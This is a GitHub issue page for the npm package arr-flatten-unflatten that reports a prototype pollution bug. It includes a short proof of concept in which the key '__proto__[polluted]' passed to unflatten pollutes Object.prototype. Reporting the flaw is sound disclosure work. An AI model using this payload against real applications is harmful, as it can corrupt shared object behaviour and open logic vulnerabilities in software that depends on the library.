Quernest / arr-flatten-unflatten

🍓 non-recursive method of flattening an array or arrays and unflattening the result

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

Prototype Pollution

po6ix opened this issue · comments

commented

This module has prototype pollution vulnerablity
and it can make logic vulnerability in application use this

const { unflatten } = require("arr-flatten-unflatten");

unflatten({'__proto__[polluted]': true});
console.log(polluted); // true